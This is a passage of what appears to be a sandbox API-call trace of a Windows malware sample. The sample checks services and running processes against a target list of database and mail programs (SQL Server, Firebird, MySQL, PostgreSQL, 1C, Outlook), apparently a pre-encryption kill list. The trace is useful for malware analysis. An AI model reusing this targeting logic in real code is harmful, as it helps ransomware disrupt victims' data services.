(lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0070.075] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0070.075] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0070.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0070.075] lstrlenW (lpString="UxSms") returned 5 [0070.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0070.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0070.075] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0070.075] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0070.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0070.076] lstrlenW (lpString="WdiServiceHost") returned 14 [0070.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.076] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0070.076] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0070.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0070.076] lstrlenW (lpString="WdiSystemHost") returned 13 [0070.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.076] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0070.076] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0070.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0070.077] lstrlenW (lpString="WinDefend") returned 9 [0070.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0070.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0070.077] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0070.077] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0070.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0070.077] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0070.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.077] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0070.077] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0070.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0070.078] lstrlenW (lpString="Winmgmt") returned 7 [0070.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0070.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0070.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0070.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0070.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0070.078] lstrlenW (lpString="wscsvc") returned 6 [0070.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0070.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0070.078] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0070.078] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0070.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0070.079] lstrlenW (lpString="wuauserv") returned 8 [0070.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0070.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0070.079] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0070.079] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0070.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0070.079] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50e1c8 | out: hHeap=0x4c0000) returned 1 [0070.079] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0070.328] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.330] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.331] lstrlenW (lpString="System") returned 6 [0070.331] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0070.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0070.332] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.333] lstrlenW (lpString="smss.exe") returned 8 [0070.333] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0070.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0070.333] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0070.333] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0070.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0070.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0070.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0070.334] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.335] lstrlenW (lpString="csrss.exe") returned 9 [0070.335] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.337] lstrlenW (lpString="wininit.exe") returned 11 [0070.337] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.339] lstrlenW (lpString="csrss.exe") returned 9 [0070.339] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.340] lstrlenW (lpString="winlogon.exe") returned 12 [0070.340] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.342] lstrlenW (lpString="services.exe") returned 12 [0070.342] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.344] lstrlenW (lpString="lsass.exe") returned 9 [0070.344] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.345] lstrlenW (lpString="lsm.exe") returned 7 [0070.345] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.347] lstrlenW (lpString="svchost.exe") returned 11 [0070.347] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.348] lstrlenW (lpString="svchost.exe") returned 11 [0070.348] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.350] lstrlenW (lpString="svchost.exe") returned 11 [0070.350] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.352] lstrlenW (lpString="svchost.exe") returned 11 [0070.352] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.353] lstrlenW (lpString="svchost.exe") returned 11 [0070.354] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.355] lstrlenW (lpString="audiodg.exe") returned 11 [0070.355] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.357] lstrlenW (lpString="svchost.exe") returned 11 [0070.357] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.358] lstrlenW (lpString="svchost.exe") returned 11 [0070.358] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.552] lstrlenW (lpString="dwm.exe") returned 7 [0070.552] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.554] lstrlenW (lpString="explorer.exe") returned 12 [0070.554] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.555] lstrlenW (lpString="spoolsv.exe") returned 11 [0070.555] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.557] lstrlenW (lpString="taskhost.exe") returned 12 [0070.557] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.558] lstrlenW (lpString="svchost.exe") returned 11 [0070.559] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.560] lstrlenW (lpString="taskeng.exe") returned 11 [0070.560] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.562] lstrlenW (lpString="taskhost.exe") returned 12 [0070.562] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.564] lstrlenW (lpString="svchost.exe") returned 11 [0070.565] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0070.566] lstrlenW (lpString="sppsvc.exe") returned 10 [0070.566] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.568] lstrlenW (lpString="svchost.exe") returned 11 [0070.568] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0070.569] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0070.569] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0070.571] lstrlenW (lpString="visa thought.exe") returned 16 [0070.571] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0070.572] lstrlenW (lpString="instrumental.exe") returned 16 [0070.572] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0070.574] lstrlenW (lpString="mouth tree.exe") returned 14 [0070.574] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0070.576] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0070.576] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0070.577] lstrlenW (lpString="thisul.exe") returned 10 [0070.577] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0070.579] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0070.579] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0070.580] lstrlenW (lpString="tired grad keep.exe") returned 19 [0070.580] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0070.582] lstrlenW (lpString="basename_nested.exe") returned 19 [0070.582] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0070.583] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0070.583] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0070.585] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0070.585] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0070.587] lstrlenW (lpString="exotic.exe") returned 10 [0070.587] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0070.588] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0070.588] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0070.892] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0070.892] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0070.893] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0070.894] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0070.895] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0070.895] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0070.897] lstrlenW (lpString="patient.exe") returned 11 [0070.897] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0070.898] lstrlenW (lpString="corps.exe") returned 9 [0070.898] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0070.900] lstrlenW (lpString="inquire.exe") returned 11 [0070.900] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.901] lstrlenW (lpString="3dftp.exe") returned 9 [0070.901] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.903] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0070.903] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.904] lstrlenW (lpString="alftp.exe") returned 9 [0070.905] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.907] lstrlenW (lpString="barca.exe") returned 9 [0070.907] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.908] lstrlenW (lpString="bitkinex.exe") returned 12 [0070.908] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.910] lstrlenW (lpString="coreftp.exe") returned 11 [0070.910] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.911] lstrlenW (lpString="far.exe") returned 7 [0070.911] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.913] lstrlenW (lpString="filezilla.exe") returned 13 [0070.913] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.914] lstrlenW (lpString="flashfxp.exe") returned 12 [0070.915] Process32NextW (in: hSnapshot=0x1a4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, 